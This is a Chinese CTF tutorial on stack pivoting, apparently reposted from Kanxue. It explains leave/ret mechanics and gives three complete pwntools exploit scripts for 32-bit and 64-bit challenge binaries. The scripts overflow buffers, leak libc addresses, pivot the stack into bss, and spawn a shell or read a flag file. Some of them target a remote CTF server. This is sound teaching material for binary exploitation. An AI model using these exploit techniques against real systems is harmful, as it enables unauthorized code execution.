原创 0xRGz 看雪学院
一、32位
原理:
leave:
move esp,ebp;
pop ebp;(esp=esp+4)
ret:
pop eip;
栈迁移大概流程图:
关键点:ebp实际上是个寄存器
二、例题
看程序关键部分:
我们先设计一下exp:
* move esp,ebp;esp 和ebp会指向同一位置。
*pop ebp; 此时ebp指向‘’AAAA“ 且esp=esp+4 指向 system_plt。
from pwn import *
arch = 32
challenge = "./ciscn_s_4"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
io = process(challenge)
#libc = ELF("./libc.so.6")
elf = ELF(challenge)
else:
io = remote('node3.buuoj.cn',25839)
#libc = ELF("./libc.so.6")
elf = ELF(challenge)
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
def dbg():
gdb.attach(io)
pause()
system=elf.plt['system']
leave_ret=0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1='A' * 0x24+'a'*4
ru('name?')
sd(payload1)
ru('aaaa')
ebp=u32(re(4).ljust(4,'\x00'))
print 'epb:'+(hex(ebp))
fake_ebp=ebp-0x38
payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'
payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
offset=0xffffce58 - 0xffffce20 =0x38
rgzz@ubuntu:~/work/stack/pivoting$ checksec migration
[*] '/home/rgzz/work/stack/pivoting/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])
payload2 = flat([bss+0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,0
,bss+0x400
,0x100
])
payload3 = flat(["aaaa",system,bbbb,binsh_addr])
图示栈布局程序流程:
exp 如下:
from pwn import *
arch = 32
challenge = "./migration"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
io = process(challenge)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF(challenge)
else:
io = remote('',)
#libc = ELF("./libc.so.6")
elf = ELF(challenge)
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
def dbg():
gdb.attach(io)
pause()
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss = elf.bss()
leave_ret = 0x08048504
pop_ebp_ret = 0x0804836d
print 'buf addr:'+hex(bss+0x500)
print 'puts_got:'+hex(puts_got)
ru(':\n')
payload1 = flat([0x28 * 'A', bss+0x500, read_plt, leave_ret, 0, bss+0x500,0x100])
sd(payload1)
#dbg()
payload2 = flat([bss+0x400, puts_plt, pop_ebp_ret, puts_got, read_plt, leave_ret, 0, bss+0x400,0x100])
sd(payload2)
puts = u32(io.recv(4))
print 'puts address:'+hex(puts)
libc.address = puts - libc.symbols['puts']
binsh_addr = next(libc.search('/bin/sh'))
system = libc.symbols['system']
payload3 = flat(['AAAA',system,'bbbb',binsh_addr])
sd(payload3)
itr(
* 通过read 等函数,用fake frame 覆盖原本ebp。
* 通过leave_ret 方法使程序跳到我们布局好的bss\stack 段上,进而控制程序流程,进而get_shell 或者orw得到 flag。
三、x64
利用总结:
* 通过第一个read读入栈布局通过libc_csu_init 给open,read,put 填入参数。
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
#!/usr/bin/python
from pwn import *
arch = 64
challenge = "./ROP_LEVEL2"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
#io=gdb.debug(challenge,"break main")
io = process(challenge)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF(challenge)
else:
io = remote('node3.buuoj.cn',25839)
#libc = ELF("./libc.so.6")
elf = ELF(challenge)
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
p = lambda : pause()
s = lambda x : success(x)
re = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
itr = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
leave_ret = 0x40090d
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
csu_start = 0x400A3A
csu_end = 0x400A20
open_plt = elf.plt['open']
open_got = elf.got['open']
bss_stage = elf.bss()+0x200
buf_addr = 0x6010A0
pop_rdi = 0x400a43
pop_rsi_r15 = 0x400a41
def code(buf):
out1 = b""
for i in buf:
out1+=p64(i)
return out1
#csu end
#mov rdx, r13
#mov rsi, r14
#mov edi, r15d
#csu start
#rbx rbp r12 r13 r14 r15
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")
sd(payload1)
sleep(1)
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
sd(payload2)
itr()
参考
看雪ID:0xRGz
https://bbs.pediy.com/user-home-907645.htm
《安卓高级研修班》2021年6月班火热招生中!
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!